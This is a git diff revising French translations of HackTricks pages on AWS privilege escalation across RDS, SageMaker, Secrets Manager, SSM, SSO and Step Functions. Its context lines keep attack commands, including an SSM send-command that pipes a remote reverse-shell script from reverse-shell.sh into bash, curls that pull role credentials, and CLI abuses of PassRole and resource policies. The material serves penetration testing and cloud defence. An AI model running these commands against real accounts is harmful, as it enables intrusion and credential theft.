-Vous avez besoin d'accéder au VPC car **vous ne pouvez pas activer l'authentification None avec Kafka exposé publiquement**. S'il est exposé publiquement, si **l'authentification SASL/SCRAM** est utilisée, vous pourriez **lire le secret** pour y accéder (vous aurez besoin de privilèges supplémentaires pour lire le secret).\
-Si **l'authentification basée sur les rôles IAM** est utilisée et que **kafka est exposé publiquement**, vous pourriez toujours abuser de ces privilèges pour vous donner des permissions d'accès.
+Vous devez avoir accès au VPC car **vous ne pouvez pas activer l'authentification None avec Kafka exposé publiquement**. S'il est exposé publiquement, si **l'authentification SASL/SCRAM** est utilisée, vous pourriez **lire le secret** pour y accéder (vous aurez besoin de privilèges supplémentaires pour lire le secret).\
+Si **l'authentification basée sur le rôle IAM** est utilisée et que **kafka est exposé publiquement**, vous pourriez toujours abuser de ces privilèges pour vous donner des permissions d'accès.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
index c80a7377b..cf0eeaca2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
@@ -35,7 +35,7 @@ psql postgresql://:@:5432/
 
 Selon les [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), un utilisateur avec cette permission pourrait se connecter à l'instance de DB.
 
-### Abus des permissions IAM du rôle RDS
+### Abuser des permissions IAM du rôle RDS
 
 #### Postgresql (Aurora)
 
@@ -48,7 +48,7 @@ SELECT * FROM pg_extension;
 ```
 Si vous trouvez quelque chose comme **`aws_s3`**, vous pouvez supposer que cette base de données a **une sorte d'accès à S3** (il existe d'autres extensions telles que **`aws_ml`** et **`aws_lambda`**).
 
-De plus, si vous avez les autorisations pour exécuter **`aws rds describe-db-clusters`**, vous pouvez voir là si le **cluster a un rôle IAM associé** dans le champ **`AssociatedRoles`**. S'il y en a un, vous pouvez supposer que la base de données a été **préparée pour accéder à d'autres services AWS**. En fonction du **nom du rôle** (ou si vous pouvez obtenir les **permissions** du rôle), vous pourriez **deviner** quel accès supplémentaire la base de données a.
+De plus, si vous avez les permissions pour exécuter **`aws rds describe-db-clusters`**, vous pouvez voir là si le **cluster a un rôle IAM associé** dans le champ **`AssociatedRoles`**. S'il y en a, vous pouvez supposer que la base de données a été **préparée pour accéder à d'autres services AWS**. En fonction du **nom du rôle** (ou si vous pouvez obtenir les **permissions** du rôle), vous pourriez **deviner** quel accès supplémentaire la base de données a.
 
 Maintenant, pour **lire un fichier à l'intérieur d'un bucket**, vous devez connaître le chemin complet. Vous pouvez le lire avec :
 ```sql
@@ -85,9 +85,9 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
 #### Mysql (Aurora)
 
 > [!TIP]
-> À l'intérieur d'un mysql, si vous exécutez la requête **`SELECT User, Host FROM mysql.user;`** et qu'il y a un utilisateur appelé **`rdsadmin`**, vous pouvez supposer que vous êtes à l'intérieur d'une **base de données mysql AWS RDS**.
+> À l'intérieur d'un mysql, si vous exécutez la requête **`SELECT User, Host FROM mysql.user;`** et qu'il y a un utilisateur appelé **`rdsadmin`**, vous pouvez supposer que vous êtes dans une **base de données mysql AWS RDS**.
 
-À l'intérieur du mysql, exécutez **`show variables;`** et si les variables telles que **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** ont des valeurs, vous pouvez supposer que la base de données est prête à accéder aux données S3.
+À l'intérieur du mysql, exécutez **`show variables;`** et si des variables telles que **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** ont des valeurs, vous pouvez supposer que la base de données est préparée pour accéder aux données S3.
 
 De plus, si vous avez les autorisations pour exécuter **`aws rds describe-db-clusters`**, vous pouvez vérifier si le cluster a un **rôle associé**, ce qui signifie généralement un accès aux services AWS.
 
@@ -105,7 +105,7 @@ Un attaquant avec les permissions `rds:AddRoleToDBCluster` et `iam:PassRole` peu
 aws add-role-to-db-cluster --db-cluster-identifier  --role-arn 
 ```
 **Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.\
-Notez que certaines bases de données nécessitent des configurations supplémentaires telles que Mysql, qui doit spécifier le rôle ARN dans les groupes de paramètres également.
+Notez que certaines bases de données nécessitent des configurations supplémentaires telles que Mysql, qui doit spécifier l'ARN du rôle dans les groupes de paramètres également.
 
 ### `rds:CreateDBInstance`
 
@@ -122,7 +122,7 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
 ### `rds:CreateDBInstance`, `iam:PassRole`
 
 > [!NOTE]
-> TODO: Test
+> TODO: Tester
 
 Un attaquant avec les permissions `rds:CreateDBInstance` et `iam:PassRole` peut **créer une nouvelle instance RDS avec un rôle spécifié attaché**. L'attaquant peut alors potentiellement **accéder à des données sensibles** ou modifier les données au sein de l'instance.
 
@@ -142,7 +142,7 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
 Un attaquant disposant des autorisations `rds:AddRoleToDBInstance` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant d'**accéder à des données sensibles** ou de modifier les données au sein de l'instance.
 
 > [!WARNING]
-> L'instance de base de données doit être en dehors d'un cluster pour cela.
+> L'instance DB doit être en dehors d'un cluster pour cela.
 ```bash
 aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name 
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
index 4d2dbc952..8f5c313d9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
@@ -35,13 +35,13 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM
 
 ### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
 
-Il est possible de **modifier le mot de passe principal** de l'utilisateur postgres interne (redshift) depuis aws cli (je pense que ce sont les autorisations dont vous avez besoin mais je ne les ai pas encore testées) :
+Il est possible de **modifier le mot de passe principal** de l'utilisateur postgres interne (redshit) depuis aws cli (je pense que ce sont les autorisations dont vous avez besoin mais je ne les ai pas encore testées) :
 ```
 aws redshift modify-cluster –cluster-identifier  –master-user-password ‘master-password’;
 ```
 **Impact potentiel :** Trouver des informations sensibles dans les bases de données.
 
-## Accéder aux services externes
+## Accès aux services externes
 
 > [!WARNING]
 > Pour accéder à toutes les ressources suivantes, vous devrez **spécifier le rôle à utiliser**. Un cluster Redshift **peut avoir une liste de rôles AWS assignés** que vous pouvez utiliser **si vous connaissez l'ARN** ou vous pouvez simplement définir "**default**" pour utiliser celui par défaut assigné.
@@ -88,7 +88,7 @@ iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
 
 Vérifiez [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
 
-## References
+## Références
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
index 51823bacf..0c6890f61 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
@@ -34,7 +34,7 @@ Par exemple, un attaquant ayant ces **permissions sur un bucket cloudformation**
 ]
 }
 ```
-Et le détournement est possible car il y a une **petite fenêtre de temps entre le moment où le modèle est téléchargé** dans le bucket et le moment où le **modèle est déployé**. Un attaquant pourrait simplement créer une **fonction lambda** dans son compte qui **se déclenche lorsqu'une notification de bucket est envoyée**, et **détourne** le **contenu** de ce **bucket**.
+Et le détournement est possible car il y a une **petite fenêtre de temps entre le moment où le modèle est téléchargé** dans le bucket et le moment où le **modèle est déployé**. Un attaquant pourrait simplement créer une **lambda function** dans son compte qui sera **déclenchée lorsqu'une notification de bucket est envoyée**, et **détourner** le **contenu** de ce **bucket**.
 
 ![](<../../../images/image (174).png>)
 
@@ -43,9 +43,9 @@ Pour plus d'informations, consultez la recherche originale : [https://rhinosecur
 
 ### `s3:PutObject`, `s3:GetObject` 
 
-Ce sont les permissions pour **obtenir et télécharger des objets sur S3**. Plusieurs services à l'intérieur d'AWS (et en dehors) utilisent le stockage S3 pour stocker des **fichiers de configuration**.\
+Ce sont les permissions pour **obtenir et télécharger des objets dans S3**. Plusieurs services à l'intérieur d'AWS (et en dehors) utilisent le stockage S3 pour stocker des **fichiers de configuration**.\
 Un attaquant avec un **accès en lecture** à ceux-ci pourrait trouver des **informations sensibles**.\
-Un attaquant avec un **accès en écriture** à ceux-ci pourrait **modifier les données pour abuser d'un service et essayer d'escalader les privilèges**.\
+Un attaquant avec un **accès en écriture** pourrait **modifier les données pour abuser d'un service et essayer d'escalader les privilèges**.\
 Voici quelques exemples :
 
 - Si une instance EC2 stocke les **données utilisateur dans un bucket S3**, un attaquant pourrait les modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
index 4c3091a56..6ca9104ee 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
@@ -6,7 +6,7 @@
 
 ### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
 
-Commencez à créer un notebook avec le rôle IAM auquel il est attaché :
+Commencez à créer un notebook avec le rôle IAM qui y est attaché :
 ```bash
 aws sagemaker create-notebook-instance --notebook-instance-name example \
 --instance-type ml.t2.medium \
@@ -25,7 +25,7 @@ Maintenant, il est possible d'accéder aux informations d'identification des mé
 
 ### `sagemaker:CreatePresignedNotebookInstanceUrl`
 
-S'il y a des **notebooks Jupyter déjà en cours d'exécution** dessus et que vous pouvez les lister avec `sagemaker:ListNotebookInstances` (ou les découvrir de toute autre manière). Vous pouvez **générer une URL pour eux, y accéder et voler les informations d'identification comme indiqué dans la technique précédente**.
+S'il y a des Jupyter **notebooks déjà en cours d'exécution** dessus et que vous pouvez les lister avec `sagemaker:ListNotebookInstances` (ou les découvrir de toute autre manière). Vous pouvez **générer une URL pour eux, y accéder et voler les informations d'identification comme indiqué dans la technique précédente**.
 ```bash
 aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name 
 ```
@@ -49,7 +49,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
 
 ### `sagemaker:CreateTrainingJob`, `iam:PassRole`
 
-Un attaquant avec ces permissions sera capable de créer un job d'entraînement, **exécutant un conteneur arbitraire** dessus avec un **rôle attaché**. Par conséquent, l'attaquant pourra voler les identifiants du rôle.
+Un attaquant avec ces permissions sera capable de créer un job d'entraînement, **exécutant un conteneur arbitraire** avec un **rôle attaché**. Par conséquent, l'attaquant pourra voler les identifiants du rôle.
 
 > [!WARNING]
 > Ce scénario est plus difficile à exploiter que le précédent car vous devez générer une image Docker qui enverra le rev shell ou les identifiants directement à l'attaquant (vous ne pouvez pas indiquer une commande de démarrage dans la configuration du job d'entraînement).
@@ -94,7 +94,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
 
 ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
 
-Un attaquant avec ces permissions pourra (potentiellement) créer un **travail d'entraînement d'hyperparamètres**, **exécutant un conteneur arbitraire** dessus avec un **rôle attaché**.\
+Un attaquant avec ces permissions pourra (potentiellement) créer un **hyperparameter training job**, **exécutant un conteneur arbitraire** avec un **rôle attaché**.\
 &#xNAN;_I n'ai pas exploité en raison du manque de temps, mais cela ressemble aux exploits précédents, n'hésitez pas à envoyer une PR avec les détails de l'exploitation._
 
 ## Références
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
index cc34314b7..dee0ede1f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
@@ -12,21 +12,21 @@ Pour plus d'informations sur le gestionnaire de secrets, consultez :
 
 ### `secretsmanager:GetSecretValue`
 
-Un attaquant ayant cette autorisation peut obtenir la **valeur enregistrée à l'intérieur d'un secret** dans AWS **Secretsmanager**.
+Un attaquant ayant cette permission peut obtenir la **valeur enregistrée à l'intérieur d'un secret** dans AWS **Secretsmanager**.
 ```bash
 aws secretsmanager get-secret-value --secret-id  # Get value
 ```
-**Impact potentiel :** Accéder à des données hautement sensibles dans le service AWS Secrets Manager.
+**Impact potentiel :** Accéder à des données très sensibles dans le service AWS Secrets Manager.
 
 ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
 
-Avec les autorisations précédentes, il est possible de **donner accès à d'autres principaux/comptes (même externes)** pour accéder au **secret**. Notez que pour **lire les secrets chiffrés** avec une clé KMS, l'utilisateur doit également avoir **accès à la clé KMS** (plus d'infos sur la [page d'énumération KMS](../aws-services/aws-kms-enum.md)).
+Avec les autorisations précédentes, il est possible de **donner accès à d'autres principaux/comptes (même externes)** pour accéder au **secret**. Notez que pour **lire les secrets chiffrés** avec une clé KMS, l'utilisateur doit également avoir **accès à la clé KMS** (plus d'infos sur la [page KMS Enum](../aws-services/aws-kms-enum.md)).
 ```bash
 aws secretsmanager list-secrets
 aws secretsmanager get-resource-policy --secret-id 
 aws secretsmanager put-resource-policy --secret-id  --resource-policy file:///tmp/policy.json
 ```
-policy.json:
+policy.json :
 ```json
 {
 "Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
index fe9d00184..e6184179b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
 
 ### `sns:Publish`
 
-Un attaquant pourrait envoyer des messages malveillants ou indésirables au sujet SNS, ce qui pourrait entraîner une corruption des données, déclencher des actions non intentionnelles ou épuiser les ressources.
+Un attaquant pourrait envoyer des messages malveillants ou indésirables au sujet SNS, ce qui pourrait entraîner une corruption des données, déclencher des actions non intentionnelles ou épuiser des ressources.
 ```bash
 aws sns publish --topic-arn  --message 
 ```
@@ -28,7 +28,7 @@ aws sns subscribe --topic-arn  --protocol  --endpoint 
 
 ### `sns:AddPermission`
 
-Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, obtenant potentiellement des autorisations supplémentaires.
+Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, obtenant potentiellement d'autres autorisations.
 ```css
 aws sns add-permission --topic-arn  --label  --aws-account-id  --action-name 
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
index 931f124a4..9bc26de33 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
@@ -18,9 +18,9 @@ cssCopy codeaws sqs add-permission --queue-url  --actions  --aws-a
 ```
 **Impact potentiel** : Accès non autorisé à la file d'attente, exposition de messages ou manipulation de la file d'attente par des utilisateurs ou services non autorisés.
 
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
+### `sqs:SendMessage`, `sqs:SendMessageBatch`
 
-Un attaquant pourrait envoyer des messages malveillants ou indésirables à la file d'attente SQS, provoquant potentiellement une corruption des données, déclenchant des actions non intentionnelles ou épuisant les ressources.
+Un attaquant pourrait envoyer des messages malveillants ou indésirables à la file d'attente SQS, ce qui pourrait entraîner une corruption des données, déclencher des actions non intentionnelles ou épuiser les ressources.
 ```bash
 aws sqs send-message --queue-url  --message-body 
 aws sqs send-message-batch --queue-url  --entries 
@@ -29,7 +29,7 @@ aws sqs send-message-batch --queue-url  --entries 
 
 ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
 
-Un attaquant pourrait recevoir, supprimer ou modifier la visibilité des messages dans une file d'attente SQS, entraînant une perte de messages, une corruption de données ou une interruption de service pour les applications s'appuyant sur ces messages.
+Un attaquant pourrait recevoir, supprimer ou modifier la visibilité des messages dans une file SQS, entraînant une perte de messages, une corruption de données ou une interruption de service pour les applications s'appuyant sur ces messages.
 ```bash
 aws sqs receive-message --queue-url 
 aws sqs delete-message --queue-url  --receipt-handle 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
index c145f96ac..6c1c442ef 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
@@ -31,7 +31,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
 --document-name "AWS-RunShellScript" --output text \
 --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
 ```
-**Impact potentiel :** Privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution.
+**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution.
 
 ### `ssm:StartSession`
 
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
 aws ssm start-session --target "$INSTANCE_ID"
 ```
 > [!CAUTION]
-> Pour commencer une session, vous devez avoir le **SessionManagerPlugin** installé : [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
+> Pour démarrer une session, vous devez avoir le **SessionManagerPlugin** installé : [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
 
-**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution.
+**Impact potentiel :** Privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution.
 
-#### Privesc à ECS
+#### Privesc vers ECS
 
 Lorsque les **tâches ECS** s'exécutent avec **`ExecuteCommand` activé**, les utilisateurs ayant suffisamment de permissions peuvent utiliser `ecs execute-command` pour **exécuter une commande** à l'intérieur du conteneur.\
-Selon [**la documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), cela se fait en créant un canal sécurisé entre l'appareil que vous utilisez pour initier la commande “_exec_” et le conteneur cible avec SSM Session Manager. (Le plugin SSM Session Manager est nécessaire pour que cela fonctionne)\
+Selon [**la documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), cela se fait en créant un canal sécurisé entre l'appareil que vous utilisez pour initier la commande “_exec_“ et le conteneur cible avec SSM Session Manager. (Plugin SSM Session Manager nécessaire pour que cela fonctionne)\
 Par conséquent, les utilisateurs avec `ssm:StartSession` pourront **obtenir un shell à l'intérieur des tâches ECS** avec cette option activée en exécutant simplement :
 ```bash
 aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
 ```
 ![](<../../../images/image (185).png>)
 
-**Impact potentiel :** Privesc direct aux rôles `ECS`IAM attachés aux tâches en cours avec `ExecuteCommand` activé.
+**Impact potentiel :** Privesc direct aux rôles `ECS`IAM attachés aux tâches en cours d'exécution avec `ExecuteCommand` activé.
 
 ### `ssm:ResumeSession`
 
-Un attaquant avec la permission **`ssm:ResumeSession`** peut re-**démarrer une session similaire à SSH dans des instances** exécutant l'agent Amazon SSM avec un état de session SSM **déconnecté** et **compromettre le rôle IAM** s'exécutant à l'intérieur.
+Un attaquant ayant la permission **`ssm:ResumeSession`** peut re-**démarrer une session semblable à SSH dans des instances** exécutant l'agent Amazon SSM avec un état de session SSM **déconnecté** et **compromettre le rôle IAM** s'exécutant à l'intérieur.
 ```bash
 # Check for configured instances
 aws ssm describe-sessions
@@ -72,11 +72,11 @@ aws ssm describe-sessions
 aws ssm resume-session \
 --session-id Mary-Major-07a16060613c408b5
 ```
-**Impact potentiel :** Privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution et des sessions déconnectées.
+**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution et des sessions déconnectées.
 
 ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
 
-Un attaquant avec les permissions mentionnées sera capable de lister les **paramètres SSM** et **de les lire en texte clair**. Dans ces paramètres, vous pouvez fréquemment **trouver des informations sensibles** telles que des clés SSH ou des clés API.
+Un attaquant avec les permissions mentionnées va pouvoir lister les **paramètres SSM** et **les lire en texte clair**. Dans ces paramètres, vous pouvez fréquemment **trouver des informations sensibles** telles que des clés SSH ou des clés API.
 ```bash
 aws ssm describe-parameters
 # Suppose that you found a parameter called "id_rsa"
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
index b99bf05ab..c9bf5e104 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
@@ -11,13 +11,13 @@ Pour plus d'informations sur AWS Identity Center / AWS SSO, consultez :
 {{#endref}}
 
 > [!WARNING]
-> Notez qu'en **default**, seuls les **utilisateurs** ayant des permissions **du** **compte de gestion** pourront accéder et **contrôler le Centre d'identité IAM**.\
+> Notez qu'en **default**, seuls les **utilisateurs** ayant des permissions **du** **compte de gestion** pourront accéder et **contrôler l'IAM Identity Center**.\
 > Les utilisateurs d'autres comptes ne peuvent le permettre que si le compte est un **Administrateur délégué.**\
 > [Consultez la documentation pour plus d'infos.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
 
 ### ~~Réinitialiser le mot de passe~~
 
-Un moyen facile d'escalader les privilèges dans des cas comme celui-ci serait d'avoir une permission qui permet de réinitialiser les mots de passe des utilisateurs. Malheureusement, il n'est possible d'envoyer qu'un email à l'utilisateur pour réinitialiser son mot de passe, donc vous auriez besoin d'accéder à l'email de l'utilisateur.
+Une façon simple d'escalader les privilèges dans des cas comme celui-ci serait d'avoir une permission qui permet de réinitialiser les mots de passe des utilisateurs. Malheureusement, il n'est possible d'envoyer qu'un email à l'utilisateur pour réinitialiser son mot de passe, donc vous auriez besoin d'accéder à l'email de l'utilisateur.
 
 ### `identitystore:CreateGroupMembership`
 
@@ -79,7 +79,7 @@ aws sso-admin create-account-assignment --instance-arn  --target-i
 ```
 ### `sso:GetRoleCredentials`
 
-Renvoie les informations d'identification STS à court terme pour un nom de rôle donné qui est attribué à l'utilisateur.
+Renvoie les informations d'identification à court terme STS pour un nom de rôle donné qui est attribué à l'utilisateur.
 ```
 aws sso get-role-credentials --role-name  --account-id  --access-token 
 ```
@@ -87,7 +87,7 @@ Cependant, vous avez besoin d'un jeton d'accès que je ne sais pas comment obten
 
 ### `sso:DetachManagedPolicyFromPermissionSet`
 
-Un attaquant disposant de cette autorisation peut supprimer l'association entre une politique gérée AWS et l'ensemble de permissions spécifié. Il est possible d'accorder plus de privilèges en **détachant une politique gérée (politique de refus)**.
+Un attaquant ayant cette autorisation peut supprimer l'association entre une politique gérée par AWS et l'ensemble de permissions spécifié. Il est possible d'accorder plus de privilèges en **détachant une politique gérée (politique de refus)**.
 ```bash
 aws sso-admin detach-managed-policy-from-permission-set --instance-arn  --permission-set-arn  --managed-policy-arn 
 ```
@@ -99,13 +99,13 @@ aws sso-admin detach-customer-managed-policy-reference-from-permission-set --ins
 ```
 ### `sso:DeleteInlinePolicyFromPermissionSet`
 
-Un attaquant avec cette permission peut supprimer les permissions d'une politique intégrée du jeu de permissions. Il est possible d'accorder **plus de privilèges en détachant une politique intégrée (politique de refus)**.
+Un attaquant avec cette permission peut supprimer les autorisations d'une politique intégrée du jeu de permissions. Il est possible d'accorder **plus de privilèges en détachant une politique intégrée (politique de refus)**.
 ```bash
 aws sso-admin delete-inline-policy-from-permission-set --instance-arn  --permission-set-arn 
 ```
 ### `sso:DeletePermissionBoundaryFromPermissionSet`
 
-Un attaquant avec cette permission peut supprimer la Limite de Permission du jeu de permissions. Il est possible d'accorder **plus de privilèges en supprimant les restrictions sur le Jeu de Permissions** donné par la Limite de Permission.
+Un attaquant avec cette permission peut supprimer la Permission Boundary du jeu de permissions. Il est possible d'accorder **plus de privilèges en supprimant les restrictions sur le jeu de permissions** donné par la Permission Boundary.
 ```bash
 aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn  --permission-set-arn 
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
index e1d2031ff..fab0bf70e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
@@ -10,9 +10,9 @@ Pour plus d'informations sur ce service AWS, consultez :
 ../aws-services/aws-stepfunctions-enum.md
 {{#endref}}
 
-### Ressources de tâche
+### Ressources de Tâche
 
-Ces techniques d'escalade de privilèges nécessiteront l'utilisation de certaines ressources de fonction d'étape AWS afin d'effectuer les actions d'escalade de privilèges souhaitées.
+Ces techniques d'escalade de privilèges nécessiteront l'utilisation de certaines ressources de fonction étape AWS afin d'effectuer les actions d'escalade de privilèges souhaitées.
 
 Pour vérifier toutes les actions possibles, vous pouvez vous rendre sur votre propre compte AWS, sélectionner l'action que vous souhaitez utiliser et voir les paramètres qu'elle utilise, comme dans :
 
@@ -25,7 +25,7 @@ Ou vous pouvez également consulter la documentation API AWS et vérifier la doc
 
 ### `states:TestState` & `iam:PassRole`
 
-Un attaquant avec les permissions **`states:TestState`** & **`iam:PassRole`** peut tester n'importe quel état et passer n'importe quel rôle IAM sans créer ou mettre à jour une machine d'état existante, permettant un accès non autorisé à d'autres services AWS avec les permissions des rôles. potentiellement. Combinées, ces permissions peuvent conduire à des actions non autorisées étendues, allant de la manipulation des flux de travail à l'altération des données, aux violations de données, à la manipulation des ressources et à l'escalade de privilèges.
+Un attaquant avec les permissions **`states:TestState`** & **`iam:PassRole`** peut tester n'importe quel état et passer n'importe quel rôle IAM sans créer ou mettre à jour une machine d'état existante, permettant un accès non autorisé à d'autres services AWS avec les permissions des rôles. potentiellement. Combinées, ces permissions peuvent conduire à des actions non autorisées étendues, allant de la manipulation des flux de travail pour altérer des données à des violations de données, manipulation de ressources et escalade de privilèges.
 ```bash
 aws states test-state --definition  --role-arn  [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets]
 ```
@@ -42,7 +42,7 @@ Les exemples suivants montrent comment tester un état qui crée une clé d'acc
 "End": true
 }
 ```
-- **Commande** exécutée pour effectuer le privesc :
+- **Commande** exécutée pour effectuer l'élévation de privilèges :
 ```bash
 aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole
 
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
 
 ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
 
-Un attaquant avec les **`states:CreateStateMachine`** & **`iam:PassRole`** serait capable de créer une machine d'état et de lui fournir n'importe quel rôle IAM, permettant un accès non autorisé à d'autres services AWS avec les permissions du rôle. Contrairement à la technique de privesc précédente (**`states:TestState`** & **`iam:PassRole`**), celle-ci ne s'exécute pas d'elle-même, vous devrez également avoir les permissions **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **n'est pas disponible pour les flux de travail standard**, **juste pour les machines d'état express**) afin de démarrer une exécution sur la machine d'état.
